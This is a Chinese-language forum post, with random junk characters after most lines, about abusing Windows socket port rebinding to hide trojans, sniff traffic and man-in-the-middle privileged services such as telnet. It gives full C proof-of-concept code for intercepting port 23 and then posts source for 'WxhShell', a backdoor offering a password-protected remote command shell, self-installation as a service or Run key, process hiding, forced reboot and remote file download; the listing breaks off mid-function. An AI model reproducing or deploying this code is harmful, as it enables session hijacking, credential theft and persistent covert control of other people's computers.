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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;-UmY}MU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gycm,Cy  
ktDC/8  
  saddr.sin_family = AF_INET; Vf(6!iRP@  
Wu)>U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R *F l8   
dL|+d:v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jY_T/233d  
!n^OM?.4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?W E  
m|OO,gR  
  这意味着什么?意味着可以进行如下的攻击: %X9r_Hx  
q&:=<+2"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .xB u-?6s6  
a1Qv@p^._b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NH_<q"gT  
!nAX$i~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ? `J[[",  
%v2R.?F8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H(Eh c  
I@\OaUGr+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BC'llD  
9)VF 1LD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -GLMmZJt  
"kZ[N'z (  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i1 RiGS  
3P;>XGCxZ  
  #include ^_lzZOhG  
  #include |F#1C9]P  
  #include 8b0d]*q  
  #include    5E notp[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   | [ >UH  
  int main() /r_~: 3F  
  { H.UX,O@  
  WORD wVersionRequested; n("0%@ov  
  DWORD ret; " LJq%E  
  WSADATA wsaData; %\i9p]=  
  BOOL val; n@G[  
  SOCKADDR_IN saddr; %6_AM  
  SOCKADDR_IN scaddr; qTQBt}  
  int err; Z(!00^  
  SOCKET s; yv)ux:P&+  
  SOCKET sc; sN5B7)Vc  
  int caddsize; ~Ch+5A;  
  HANDLE mt; *}8t{ F@k  
  DWORD tid;   aN(|'uO@  
  wVersionRequested = MAKEWORD( 2, 2 ); qoAj] ")  
  err = WSAStartup( wVersionRequested, &wsaData ); c_elShK8#  
  if ( err != 0 ) { \rPbK+G.  
  printf("error!WSAStartup failed!\n"); O(_[ayE  
  return -1; &5: tn=E  
  } } CfqG?)  
  saddr.sin_family = AF_INET; IIyI=Wl pG  
   &?h,7 D;A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b:w?PC~O  
xZV1k~C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u_rdmyq$x/  
  saddr.sin_port = htons(23); _SA5e3#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V <bd;m  
  { ;V<fB/S.=+  
  printf("error!socket failed!\n"); ]KJj6xn  
  return -1; R i^[i}  
  } `Qqk<o  
  val = TRUE; W2.qhY5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vv=VRhwF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /q5:p`4{J  
  { IUwm}9Q!  
  printf("error!setsockopt failed!\n"); GH[wv<  
  return -1; ~}<DG1!  
  } 6"}?.E$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }3?n~s\)6f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @lvyDu6e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "Y\_TtY  
Qca&E`~Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7NJhRz`_  
  { R+CM`4CD  
  ret=GetLastError(); :kGU,>BN  
  printf("error!bind failed!\n"); nR`ov1RH  
  return -1; /d%=E  
  } B7!3-1<k>  
  listen(s,2); ) Yd?m0m*  
  while(1) r\/+Oa'  
  { v,ju!I0.  
  caddsize = sizeof(scaddr); F+u|HiYG  
  //接受连接请求 9:M` j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^_m9KA  
  if(sc!=INVALID_SOCKET) YY!Rz[/  
  { ]KmO$4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "&3h2(#%  
  if(mt==NULL) s-v  
  { &?(?vDFfZ  
  printf("Thread Creat Failed!\n"); ]9 @F~)  
  break;  z^<"x |:  
  } >vA2A1WhW  
  } Jkek-m  
  CloseHandle(mt); gg8Uo G  
  } ghRVso(  
  closesocket(s); Y0X-Zqk'  
  WSACleanup(); z[;z>8|c  
  return 0; k5T,990  
  }   R2 V4#  
  DWORD WINAPI ClientThread(LPVOID lpParam) Bi{$@n&?f  
  { (P$H<FtH  
  SOCKET ss = (SOCKET)lpParam; CvD "sHVq%  
  SOCKET sc; &#iTQD  
  unsigned char buf[4096]; Q@HopiC  
  SOCKADDR_IN saddr; eow'K 821A  
  long num; }I>tO9M  
  DWORD val; LEtG|3Dx  
  DWORD ret; 8e(\%bX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L+q/){Dd(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >:b Q  
  saddr.sin_family = AF_INET; >qF CB\(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =y-@AU8  
  saddr.sin_port = htons(23); 9B9(8PVG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y_?Me]  
  { j?+X\PtQ  
  printf("error!socket failed!\n"); -jiG7OL  
  return -1; OtNd,U.dE  
  } 2=^m9%  
  val = 100; n<u $=H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X)% A6M  
  { qXwPDq/  
  ret = GetLastError(); &mx)~J^m  
  return -1; Dg?:/=,=9r  
  } Bf8jPa/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  v%iflCK  
  { ;-qO'V:;  
  ret = GetLastError(); ~W-PD  
  return -1; Uw7h=UQh  
  } c(~[$)i6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T]c%!&^ _  
  { 5wDg'X]>V  
  printf("error!socket connect failed!\n"); XD2v*l|Po  
  closesocket(sc); )'+8}T]xQ  
  closesocket(ss); WA&!;Zq  
  return -1; <Pi|J-Y  
  } _+E5T*dk  
  while(1) ilqy /fL#  
  { !/]WrGqbS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e\:+uVzz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FFEfI4&SfS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s|y "WDyx5  
  num = recv(ss,buf,4096,0); z.;ez}6%V  
  if(num>0) 71t* %  
  send(sc,buf,num,0); ]&Rx@&e*  
  else if(num==0) "9Q40w\  
  break; =D<PVGo9  
  num = recv(sc,buf,4096,0); K42K!8$  
  if(num>0) mrF58Uq;A  
  send(ss,buf,num,0); z+n,uHs  
  else if(num==0) ybKWOp:O  
  break; lE(a%'36  
  } /x p|  
  closesocket(ss); g0["^P1tV  
  closesocket(sc); :BV6y|J9O^  
  return 0 ; m3/O.DY%0  
  } ~ r4 38&  
M]2]\km  
M,\:<kNI  
========================================================== 1^}[&ar  
b?lD(fa&  
下边附上一个代码,,WXhSHELL @X;!92i  
) iN/ua  
========================================================== YOmM=X+'H  
7Bd-!$j+  
#include "stdafx.h" :x4|X8>  
2so!  
#include <stdio.h> =E#%'/ A;c  
#include <string.h> Eu@huN*/  
#include <windows.h> S(*sw 0O@+  
#include <winsock2.h> ;"~ fZ2$U  
#include <winsvc.h> x#xFh0CA  
#include <urlmon.h> j~jV'f.:H  
=*c7i]@}  
#pragma comment (lib, "Ws2_32.lib") /n{omx  
#pragma comment (lib, "urlmon.lib")  jYmR  
n|RJ;d30Q  
#define MAX_USER   100 // 最大客户端连接数 sl`s_$J  
#define BUF_SOCK   200 // sock buffer ~lsl@  
#define KEY_BUFF   255 // 输入 buffer os:A]  
Sp;G'*g  
#define REBOOT     0   // 重启 Vg>dI&O  
#define SHUTDOWN   1   // 关机 ]rH\`0  
MS 81sN\d  
#define DEF_PORT   5000 // 监听端口 8h*Icf  
tne ST.  
#define REG_LEN     16   // 注册表键长度 L"1}V  
#define SVC_LEN     80   // NT服务名长度 /)}q Xx&  
($;77fPR  
// 从dll定义API K1+)4!}%U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TE7nJ gm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L>aLqQ3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YSic-6z0Ms  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lJ}_G>GJ  
DpvI[r//'*  
// wxhshell配置信息 %Q fO8P  
struct WSCFG { e]$}-i@#  
  int ws_port;         // 监听端口 sHt].gZ  
  char ws_passstr[REG_LEN]; // 口令 y[)>yq y  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?R$F)g7<  
  char ws_regname[REG_LEN]; // 注册表键名 qzKdQ&vO  
  char ws_svcname[REG_LEN]; // 服务名 uXJ;A *  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;S^'V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V)~.~2$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QSdHm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v4`"1Ss,K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AQ,' 6F9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '$ =>  
$j5K8Ad  
}; emqZztccZ  
^6MU 0Q2  
// default Wxhshell configuration p'*>vk  
struct WSCFG wscfg={DEF_PORT, G\Cp7:j}  
    "xuhuanlingzhe", Eg#K.5hJ  
    1, wnEyl[ac  
    "Wxhshell", "$+Jnc!!  
    "Wxhshell", lm-dW'7&  
            "WxhShell Service", P3x= 8_#  
    "Wrsky Windows CmdShell Service", [B#R94  
    "Please Input Your Password: ", 'MUv5 Th  
  1, 4ew" %Cs*  
  "http://www.wrsky.com/wxhshell.exe", bYpnt V  
  "Wxhshell.exe" t^R][Ay&  
    }; e,vvzs o  
1PQ~jfGi  
// 消息定义模块 K1"*.\?F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V3Q+s8OIF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VM GS[qrG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; - D  
char *msg_ws_ext="\n\rExit."; !;Yg/'vD-  
char *msg_ws_end="\n\rQuit."; cl=EA6P\X  
char *msg_ws_boot="\n\rReboot..."; aQ?/%\>  
char *msg_ws_poff="\n\rShutdown..."; XHK<AO^  
char *msg_ws_down="\n\rSave to "; }Jy8.<Gd^  
AS'R?aX|C  
char *msg_ws_err="\n\rErr!"; u~7hWiY<2  
char *msg_ws_ok="\n\rOK!"; H]{v;;'~  
C*)3e*T*  
char ExeFile[MAX_PATH]; r3&G)g=u  
int nUser = 0; |[<_GQl  
HANDLE handles[MAX_USER]; Fq~yL!#!  
int OsIsNt; ,Ys %:>?  
#%iDT6  
SERVICE_STATUS       serviceStatus; eL10Q(;P`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3G,Oba[$<  
Bu<M\w?7Y  
// 函数声明 ;4R$g5-4X  
int Install(void); wSzv|\ G  
int Uninstall(void); "pi=$/RD9  
int DownloadFile(char *sURL, SOCKET wsh); ]HKQDc'  
int Boot(int flag); u]<,,  
void HideProc(void); 5nv#+ap1 "  
int GetOsVer(void); @r/#-?W  
int Wxhshell(SOCKET wsl); :)wy.r;N  
void TalkWithClient(void *cs); ieDk;  
int CmdShell(SOCKET sock); \r;#g{ _  
int StartFromService(void); |oH,   
int StartWxhshell(LPSTR lpCmdLine); #%a;"w  
jaTh^L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &zl|87M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5{|7$VqPF  
ck ]Do!h  
// 数据结构和表定义 BgurzS4-  
SERVICE_TABLE_ENTRY DispatchTable[] = d A@]!  
{ gp};D  
{wscfg.ws_svcname, NTServiceMain}, @| M|+k3  
{NULL, NULL} @Lpq~ 1eZB  
}; \\PjKAsh  
Q i,j+xBp  
// 自我安装 [w>$QR  
int Install(void) iV5yJF{ZH  
{ s:>Va GC  
  char svExeFile[MAX_PATH]; B6u/mo<  
  HKEY key; \rx3aJl  
  strcpy(svExeFile,ExeFile); *xx'@e|<;  
jqWu  
// 如果是win9x系统,修改注册表设为自启动 \f]k CB  
if(!OsIsNt) { <C1H36p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E ]A#Uy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >BR(Wd.  
  RegCloseKey(key); /f:dv?!km  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =)M/@T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hu\B"fdS  
  RegCloseKey(key); UldXYtGe  
  return 0; 2 Wt> Mi  
    } O,+1<.;+  
  } $? m9")  
} b*;Si7-  
else { 9oyE$S h]  
Jj>?GAir  
// 如果是NT以上系统,安装为系统服务 NO7J!k?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h;C5hU 4P  
if (schSCManager!=0) L"E7#}  
{ 54gBJEhg  
  SC_HANDLE schService = CreateService $*^kY;  
  ( ?Nup1 !D  
  schSCManager, r54&XE]O  
  wscfg.ws_svcname, !POl;%\  
  wscfg.ws_svcdisp, Buf/@B7+\  
  SERVICE_ALL_ACCESS, Hbj,[$Jb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #X%~B'  
  SERVICE_AUTO_START, }6p@lla,%]  
  SERVICE_ERROR_NORMAL, 03|PYk 6EW  
  svExeFile, \l'm[jy>  
  NULL, eV 2W{vuI  
  NULL, #+:9T /*>0  
  NULL, %}SGl${-  
  NULL, W3]_m8,Z  
  NULL 8qk?E6  
  ); \kp8S'qVo  
  if (schService!=0) 6 bomh2  
  { %7"q"A r[  
  CloseServiceHandle(schService); _BM" ]t*  
  CloseServiceHandle(schSCManager); n G,A@/N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >QjAoDVX?  
  strcat(svExeFile,wscfg.ws_svcname); X}=n:Ql'YY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )<oJnxe]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3)F |*F3R  
  RegCloseKey(key); =!kk|_0%E  
  return 0; W^0w  
    } jlkmLcpf  
  } 3p3 9`"~  
  CloseServiceHandle(schSCManager); @KWb+?_H{<  
} H35S#+KX  
} 9E zj"  
j5K]CTz#  
return 1; UR%/MV  
} ?+_Gs;DGVE  
FK:;e lZ  
// 自我卸载 dU6ou'p f  
int Uninstall(void) Vu)4dD!  
{ |*oZ _gI  
  HKEY key; WB?jRYp  
OP~HdocB  
if(!OsIsNt) { di?K"Z>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G^~k)6v=m  
  RegDeleteValue(key,wscfg.ws_regname); B:dB,3,`(  
  RegCloseKey(key); D2<fw#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^"VJd[Hn  
  RegDeleteValue(key,wscfg.ws_regname); E.r>7`E  
  RegCloseKey(key); /,89p&h  
  return 0; vX{J' H]u  
  } $&y%=-]|  
} gi(H]|=a  
} NgADKrDU  
else { *?Lv3}E  
(*Z)(O*z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '[U8}z3  
if (schSCManager!=0) {\S+#W\  
{ >/:" D$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JI?rL  
  if (schService!=0) = 6tHsN23  
  { ]Uw<$!$-]s  
  if(DeleteService(schService)!=0) { 5\N(PL  
  CloseServiceHandle(schService); iWei  
  CloseServiceHandle(schSCManager); z8jk[5z  
  return 0; `{eyvW[Ks  
  } SHvq.lYJ  
  CloseServiceHandle(schService); )hd@S9Z.Y  
  } VCu{&Sh*  
  CloseServiceHandle(schSCManager); u6M.'  
} *v;!-F&8>  
} c]$i\i#  
qHsUP;7  
return 1; k >F'ypm  
} bBu,#Mc  
us ;YV<)d  
// 从指定url下载文件 y)F;zW<+  
int DownloadFile(char *sURL, SOCKET wsh) _wC3kAO  
{ ?Eg(Gu.J  
  HRESULT hr; Q~814P8]  
char seps[]= "/"; x4g3 rmp  
char *token; NS9B[*"Jl  
char *file; wHsYF`  
char myURL[MAX_PATH]; <:(6EKJAq}  
char myFILE[MAX_PATH]; dA-2%uJ  
nIAx2dh?  
strcpy(myURL,sURL); 8yRJD[/S  
  token=strtok(myURL,seps); r>dwDBE  
  while(token!=NULL) _9faBrzd  
  { f_wvZ&  
    file=token; * "R|4"uy  
  token=strtok(NULL,seps); 2Gz}T _e  
  } * 1T&  
BS /G("oZ[  
GetCurrentDirectory(MAX_PATH,myFILE); ^g*pGrl#  
strcat(myFILE, "\\"); 4oK?-|=?  
strcat(myFILE, file); .clP#r{U  
  send(wsh,myFILE,strlen(myFILE),0); vh"R'o  
send(wsh,"...",3,0); *Nw&_<\9Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /+8JCp   
  if(hr==S_OK) $iI]MV%=  
return 0; Q Btnx[  
else l=]cy-H  
return 1; aY3^C q(r  
v$~QU{ &  
} ?;KKw*  
lwHzj&/ ~  
// 系统电源模块 &yGaCq;0  
int Boot(int flag) $h^wG)s2P  
{ _6O\W%it  
  HANDLE hToken; bnm P{Ps  
  TOKEN_PRIVILEGES tkp; L>MLi3{  
,RE\$~`w  
  if(OsIsNt) { yN~dU0.G6!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^w(p8G_-w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s<*XN NE7  
    tkp.PrivilegeCount = 1; 0F@"b{&0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EM]s/LD@%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MJ7Y#<u  
if(flag==REBOOT) { SLO%7%>p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;+0t;B!V  
  return 0; lFa02p0  
} z8{a(nKP  
else { =6woWlfb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F4It/  
  return 0; W^fuScG)c  
} ">~.$Jp_4  
  } 7Ok;Lt!x  
  else { 2}YOcnB  
if(flag==REBOOT) { aJYgzr,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z)'Mk[  
  return 0; "vXxv'0\f  
} Tg!i%v(-t  
else { xG}(5Tt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A{UULVp  
  return 0; y(Y!?X I  
} {88)~  
} eyefWn&  
kdCUORMK  
return 1; fYp'&Btb]x  
} D|@/yDQ  
JmPHAUd  
// win9x进程隐藏模块 /3A^I{e74  
void HideProc(void) =jlt5 z  
{ VGtC)mG8)  
&Ts-a$Z7?S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eK.e| z|  
  if ( hKernel != NULL ) j2Tr $gx<  
  { >"gf3rioW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W4[V}s5u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -cZDG t  
    FreeLibrary(hKernel); :80Z6F.k`  
  } OC1I&",Ai|  
}-ftyl7  
return; KiI!frm1  
} O?U'!o=  
)_{dWf1  
// 获取操作系统版本 ulu9'ch  
int GetOsVer(void) /E Bo3`  
{ 7w 37S  
  OSVERSIONINFO winfo; x;-. ZVF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?g?L3vRK  
  GetVersionEx(&winfo); )\sc83L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v[#9+6P=  
  return 1; hfnN@Kg?B}  
  else _$= _du  
  return 0; .gG1kWA-  
} G:<`moKgL  
io,M{Ib  
// 客户端句柄模块 i-bJS6  
int Wxhshell(SOCKET wsl) wB.Nn/p  
{ 1c<=A!"{  
  SOCKET wsh; ZX5xF<os8  
  struct sockaddr_in client; cs T2B[f9D  
  DWORD myID;  $rz=6h  
':gUOra|I  
  while(nUser<MAX_USER) fQ/ 0R  
{ hQ]H /+\  
  int nSize=sizeof(client); =0^Ruh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HFwN  
  if(wsh==INVALID_SOCKET) return 1; BDVHol*g  
m-H-6`]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9;Itqe{8w  
if(handles[nUser]==0) Gqcq,_?gt  
  closesocket(wsh); \]P!.}nX#  
else &07]LF$]  
  nUser++; <,3^|$c%  
  } xZ|Y ?R5m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GytXFL3`:  
s:p[DEj-  
  return 0; /rq VB|M  
} {Z3dF)>  
|~'IM3Jw(Y  
// 关闭 socket M@4UGM`J  
void CloseIt(SOCKET wsh) j'%$XvI  
{ RY c!~Wh~Y  
closesocket(wsh); t]$P1*I  
nUser--; Eq$&qV-?(  
ExitThread(0); w4W_iaU  
} v z^<YZMu  
q-]`CW]n  
// 客户端请求句柄 *H?!;u=8  
void TalkWithClient(void *cs) ,Y|^^?'j Q  
{ bx]N>k J  
IX*idcxR  
  SOCKET wsh=(SOCKET)cs; XK|R8rhg8`  
  char pwd[SVC_LEN]; si&S%4(  
  char cmd[KEY_BUFF]; f 1w~!O9  
char chr[1];  emK$`9  
int i,j; Kl2lbe7  
)\6&12rj  
  while (nUser < MAX_USER) { 0j30LXI_  
T/^Hz4uA7  
if(wscfg.ws_passstr) { Jrg2/ee,*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )dY=0"4Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w" SoeU  
  //ZeroMemory(pwd,KEY_BUFF); 9uRF nzJVx  
      i=0; BT)X8>ct  
  while(i<SVC_LEN) { TUHi5K  
wD68tG$  
  // 设置超时 \[gReaI  
  fd_set FdRead; {?J/c{=/P  
  struct timeval TimeOut; :4MB]v[K  
  FD_ZERO(&FdRead); ,$'])A?$  
  FD_SET(wsh,&FdRead); Ps%qfL\  
  TimeOut.tv_sec=8; Ga#:P F0  
  TimeOut.tv_usec=0; /e]'u&a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9cEv&3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F>]m3(  
Mk=mT3=#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %g1,N k  
  pwd=chr[0]; ~4s'0 w^  
  if(chr[0]==0xd || chr[0]==0xa) { KN t t  
  pwd=0; cx}Q2S  
  break; $/=nU*pd  
  } L=q+|j1>  
  i++; p98~&\QT  
    } $BFvF ,n  
?t+5s]  
  // 如果是非法用户,关闭 socket :um|nRwy9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X{we/'>  
} 6B@CurgB  
YO}1(m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wjh=Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zs}5Smjl;%  
SB5&A_tr  
while(1) { 4O;OjUI0a  
_~rI+lA  
  ZeroMemory(cmd,KEY_BUFF); RRGWC$>?  
]J:1P`k.  
      // 自动支持客户端 telnet标准   1gmt2>#v%  
  j=0; U5-@2YcH  
  while(j<KEY_BUFF) { x_c7R;C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %I-+Ead0i  
  cmd[j]=chr[0]; F B?UZ  
  if(chr[0]==0xa || chr[0]==0xd) { ;Ra+=z}>  
  cmd[j]=0; _R.B[\r@  
  break; 8F:e|\SB#  
  } "Kc>dJ@W  
  j++; ]S(%[|  
    } /[6j)HIS  
jS+AGE?5e  
  // 下载文件 s/7 A7![  
  if(strstr(cmd,"http://")) { yv\#8I:qh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9*E7}b,  
  if(DownloadFile(cmd,wsh)) txcf=)@>V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g8w2Vz2/  
  else )ZBY* lk9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _UT$,0u_i  
  } ^2$ lJ  
  else { ^=:9)CNw(  
*;m5'}jsy  
    switch(cmd[0]) { - !>}_AH  
  Ov UI@,Ef  
  // 帮助 'yV?*a  
  case '?': { b8%C *r7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WBNw~|DO]  
    break; >0dv+8Mn  
  } qwK2WE%T  
  // 安装 MY/3] g<  
  case 'i': { Zum0J{l h  
    if(Install()) c-g)eV|)S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hew d4k  
    else RPIyO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,SQZD,3v4  
    break; _>=L>*  
    } f{"8g"[[)(  
  // 卸载 'Fs)Rx}\0  
  case 'r': { KAsS [  
    if(Uninstall()) *1 G>YH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p_UlK8rb  
    else uA$<\fnz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m85WA # `  
    break; ?x+Z)`w_  
    } O/.Uh`T`6  
  // 显示 wxhshell 所在路径 *dvDap|8W  
  case 'p': { t ^[8RhD  
    char svExeFile[MAX_PATH]; xB@|LtdO9;  
    strcpy(svExeFile,"\n\r"); { .*y  
      strcat(svExeFile,ExeFile); uP<0WCN  
        send(wsh,svExeFile,strlen(svExeFile),0); WHAQu]{  
    break; pSm $FBW h  
    } % , N<  
  // 重启 0<8XI>.3D  
  case 'b': { UjOB98Du  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }?&k a$rI  
    if(Boot(REBOOT)) e#,~,W.H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]$p{I)d&  
    else { P7 PB t  
    closesocket(wsh); OiAJ[L  
    ExitThread(0); =1P6Vk  
    } ?KITC;\\  
    break; 4*aZ>R2hO  
    } 4J?t_)  
  // 关机 Y3h/~bM%  
  case 'd': { ^/5XZ} *  
